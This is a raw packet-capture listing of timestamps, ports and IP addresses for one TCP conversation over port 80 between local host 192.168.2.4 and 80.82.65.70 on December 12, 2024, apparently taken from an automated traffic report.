Dec 12, 2024 20:37:05.569633007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.570614100 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.570667982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.570755005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.570805073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.571638107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.571691990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.571850061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.571902990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.572803974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.572865009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.572953939 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.573014975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.573895931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.573956966 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.574086905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.574136972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.575032949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.575092077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.575220108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.575267076 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.576179981 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.576234102 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.576319933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.576416016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.577248096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.577301025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.577424049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.577514887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.620559931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.620711088 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.620877028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.620966911 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.621025085 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.621275902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.621326923 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.621936083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.621983051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.622112989 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.622157097 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.623128891 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.623178005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.623323917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.623378992 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.624197960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.624250889 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.624407053 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.624449015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.625093937 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.625170946 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.625253916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.625298977 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.626095057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.626176119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.626271963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.626316071 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.627190113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.627336025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.627506971 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.627562046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.628350973 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.628391027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.628582954 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.628629923 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.629312992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.629359961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.629494905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.629533052 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.630410910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.630458117 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.630620956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.630707979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.631619930 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.631844044 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.631896019 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.632740021 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.632797956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.632908106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.632960081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.633743048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.633800030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.633992910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.634052038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.634928942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.634988070 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.635171890 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.635220051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.636046886 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.636099100 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.636234999 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.636315107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.637278080 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.637341022 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.637463093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.637516975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.638300896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.638384104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.638473988 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.638528109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.639468908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.639524937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.639655113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.639710903 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.640666008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.640722990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.640814066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.640971899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.641663074 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.641721010 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.641902924 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.642035007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.642937899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.642995119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.643129110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.643215895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.644066095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.644191027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.644270897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.644330025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.645140886 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.645203114 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.645292044 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.645349979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.646119118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.646182060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.646315098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.646383047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.647234917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.647298098 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.647404909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.647483110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.648386955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.648451090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.648541927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.648591995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.741497993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.741553068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.741674900 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.741674900 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.742048979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.742085934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.742110014 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.742146015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.742572069 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.742624044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.742794991 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.742852926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.743439913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.743495941 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.743623972 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.743875027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.744549036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.744606018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.744611979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.744663000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.745397091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.745963097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.746015072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.746015072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.746310949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.746366024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.746637106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.746702909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.747354031 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.747411966 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.747987032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.748043060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.748528004 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.748564959 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.748585939 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.748616934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.749227047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.749351978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.749432087 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.749538898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.750200987 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.750343084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.750396967 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.750447035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.751382113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.751442909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.751517057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.751679897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.752198935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.752268076 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.752477884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.752600908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.753134966 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.753191948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.753335953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.753443956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.754074097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.754146099 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.754259109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.754318953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.755131006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.755197048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.755306005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.755522013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.756052017 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.756122112 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.756211996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.756263018 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.757004976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.757277966 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.757285118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.757328033 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.758063078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.758105993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.758233070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.758296013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.759023905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.759083986 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.759174109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.759254932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.760019064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.760071993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.760384083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.760441065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.760982990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.761039972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.761107922 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.761161089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.761835098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.761883974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.762146950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.762202024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.762845039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.762893915 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.763050079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.763093948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.765598059 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.765669107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.765880108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.765894890 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.765929937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.765961885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.766490936 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.766551971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.766918898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.766933918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.766974926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.767005920 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.812509060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.812561035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.812587023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.812616110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.812942982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.812993050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.813307047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.813358068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.813880920 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.814097881 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.814151049 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.814753056 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.814806938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.814917088 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.815469980 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.816484928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.816550970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.816692114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.816741943 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.817048073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.817095995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.817373991 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.817420006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.817853928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.817903042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.818125010 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.818173885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.818675041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.818754911 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.818888903 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.818936110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.819602013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.819652081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.819824934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.819875956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.820578098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.820628881 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.820811987 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.820909023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.821536064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.821645975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.821731091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.821945906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.822519064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.822659016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.822726965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.822770119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.823527098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.823570013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.823740959 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.823782921 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.824614048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.824661970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.824721098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.824773073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.825547934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.825603008 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.825757980 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.825859070 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.826416969 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.826466084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.826644897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.826694965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.827542067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.827589035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.827739000 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.827835083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.828418970 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.828461885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.828608990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.828660965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.829346895 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.829400063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.829539061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.829585075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.830272913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.830336094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.830470085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.830559969 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.831553936 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.831656933 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.831702948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.831751108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.832287073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.832341909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.832433939 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.832484961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.833259106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.833316088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.833434105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.834235907 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.834297895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.834382057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.834434032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.835275888 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.835469961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.835520983 CET	49738	80	192.168.2.4	80.82.65.70
